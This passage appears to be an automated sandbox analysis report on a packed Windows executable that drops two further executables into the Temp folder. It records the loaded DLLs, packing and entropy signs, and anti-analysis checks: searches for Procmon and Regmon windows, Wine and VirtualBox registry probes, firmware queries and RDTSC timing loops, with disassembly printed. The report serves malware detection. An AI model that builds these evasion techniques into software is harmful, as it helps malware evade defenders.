Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: qvkwOs4JfC.exe

Static file information: File size 1856000 > 1048576

Source: qvkwOs4JfC.exe

Static PE information: Raw size of vpnrtiyv is bigger than: 0x100000 < 0x19cc00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Unpacked PE file: 3.2.9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe.790000.0.unpack :EW;.rsrc:W;.idata :W;rogrptwg:EW;cpllbfsp:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Unpacked PE file: 4.2.GZ5P1E828L48RRT6FSG1LU5.exe.da0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;szaazyea:EW;jswuitsr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;szaazyea:EW;jswuitsr:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: GZ5P1E828L48RRT6FSG1LU5.exe.0.dr	Static PE information: real checksum: 0x1c3a12 should be: 0x1bdcab
Source: qvkwOs4JfC.exe	Static PE information: real checksum: 0x1cf550 should be: 0x1c9224
Source: 9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe.0.dr	Static PE information: real checksum: 0x2b52b1 should be: 0x2af527

Source: qvkwOs4JfC.exe	Static PE information: section name:
Source: qvkwOs4JfC.exe	Static PE information: section name: .idata
Source: qvkwOs4JfC.exe	Static PE information: section name:
Source: qvkwOs4JfC.exe	Static PE information: section name: vpnrtiyv
Source: qvkwOs4JfC.exe	Static PE information: section name: xxtlfwav
Source: qvkwOs4JfC.exe	Static PE information: section name: .taggant
Source: 9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe.0.dr	Static PE information: section name:
Source: 9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe.0.dr	Static PE information: section name: .idata
Source: 9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe.0.dr	Static PE information: section name: rogrptwg
Source: 9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe.0.dr	Static PE information: section name: cpllbfsp
Source: 9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe.0.dr	Static PE information: section name: .taggant
Source: GZ5P1E828L48RRT6FSG1LU5.exe.0.dr	Static PE information: section name:
Source: GZ5P1E828L48RRT6FSG1LU5.exe.0.dr	Static PE information: section name: .idata
Source: GZ5P1E828L48RRT6FSG1LU5.exe.0.dr	Static PE information: section name:
Source: GZ5P1E828L48RRT6FSG1LU5.exe.0.dr	Static PE information: section name: szaazyea
Source: GZ5P1E828L48RRT6FSG1LU5.exe.0.dr	Static PE information: section name: jswuitsr
Source: GZ5P1E828L48RRT6FSG1LU5.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C5ACC5 pushfd ; ret	0_3_00C5ACC6
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C5B7CD pushfd ; ret	0_3_00C5B7DA
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C57BF1 pushad ; retf 0000h	0_3_00C57BF2
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C58E70 push D800CD99h; ret	0_3_00C58E95
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C5CD20 pushad ; retf	0_3_00C5CD21
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C85AA7 push ds; retf	0_3_00C85AA8
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C85AA7 push ds; retf	0_3_00C85AA8
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C7CB54 push eax; retf	0_3_00C7CB55
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C7CB54 push eax; retf	0_3_00C7CB55
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C7CB50 push eax; retf	0_3_00C7CB51
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C7CB50 push eax; retf	0_3_00C7CB51
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C7CB64 pushad ; retf	0_3_00C7CB65
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C7CB64 pushad ; retf	0_3_00C7CB65
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C7CB60 pushad ; retf	0_3_00C7CB61
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C7CB60 pushad ; retf	0_3_00C7CB61
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C82F6F pushfd ; ret	0_3_00C82F72
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C82F6F pushfd ; ret	0_3_00C82F72
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C7CB68 push 6800C7CBh; retf	0_3_00C7CB6D
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C7CB68 push 6800C7CBh; retf	0_3_00C7CB6D
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C8540F push cs; iretd	0_3_00C85410
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C8540F push cs; iretd	0_3_00C85410
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_053C46AB push ds; iretd	0_3_053C46CC
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C85AA7 push ds; retf	0_3_00C85AA8
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C85AA7 push ds; retf	0_3_00C85AA8
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C7CB54 push eax; retf	0_3_00C7CB55
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C7CB54 push eax; retf	0_3_00C7CB55
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C7CB50 push eax; retf	0_3_00C7CB51
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C7CB50 push eax; retf	0_3_00C7CB51
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C7CB64 pushad ; retf	0_3_00C7CB65
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C7CB64 pushad ; retf	0_3_00C7CB65
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Code function: 0_3_00C7CB60 pushad ; retf	0_3_00C7CB61

Source: qvkwOs4JfC.exe	Static PE information: section name: entropy: 7.987316406069757
Source: qvkwOs4JfC.exe	Static PE information: section name: vpnrtiyv entropy: 7.953573816428867
Source: 9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe.0.dr	Static PE information: section name: entropy: 7.764604722621869
Source: GZ5P1E828L48RRT6FSG1LU5.exe.0.dr	Static PE information: section name: szaazyea entropy: 7.954645182762848

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File created: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe			Jump to dropped file
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File created: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B50F7 second address: 2B5108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 push edi 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B5108 second address: 2B510C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2A5C0F second address: 2A5C13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2A5C13 second address: 2A5C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2A5C1B second address: 2A5C25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F0ACCE7DA26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2A5C25 second address: 2A5C29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2A5C29 second address: 2A5C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F0ACCE7DA26h 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007F0ACCE7DA37h 0x00000018 push ecx 0x00000019 jnp 00007F0ACCE7DA26h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B40CA second address: 2B40D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B40D3 second address: 2B40D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B40D9 second address: 2B40DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B40DD second address: 2B40E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B40E3 second address: 2B4103 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0ACC5107F6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B4103 second address: 2B4109 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B4285 second address: 2B4292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B4292 second address: 2B42AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push edx 0x00000008 jmp 00007F0ACCE7DA2Fh 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B4405 second address: 2B441D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0ACC5107F2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B441D second address: 2B4428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B4428 second address: 2B4433 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push ecx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B4589 second address: 2B458F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B4A03 second address: 2B4A21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 pop ecx 0x0000000a jne 00007F0ACC510804h 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F0ACC5107E6h 0x00000018 jbe 00007F0ACC5107E6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B4A21 second address: 2B4A2B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0ACCE7DA26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
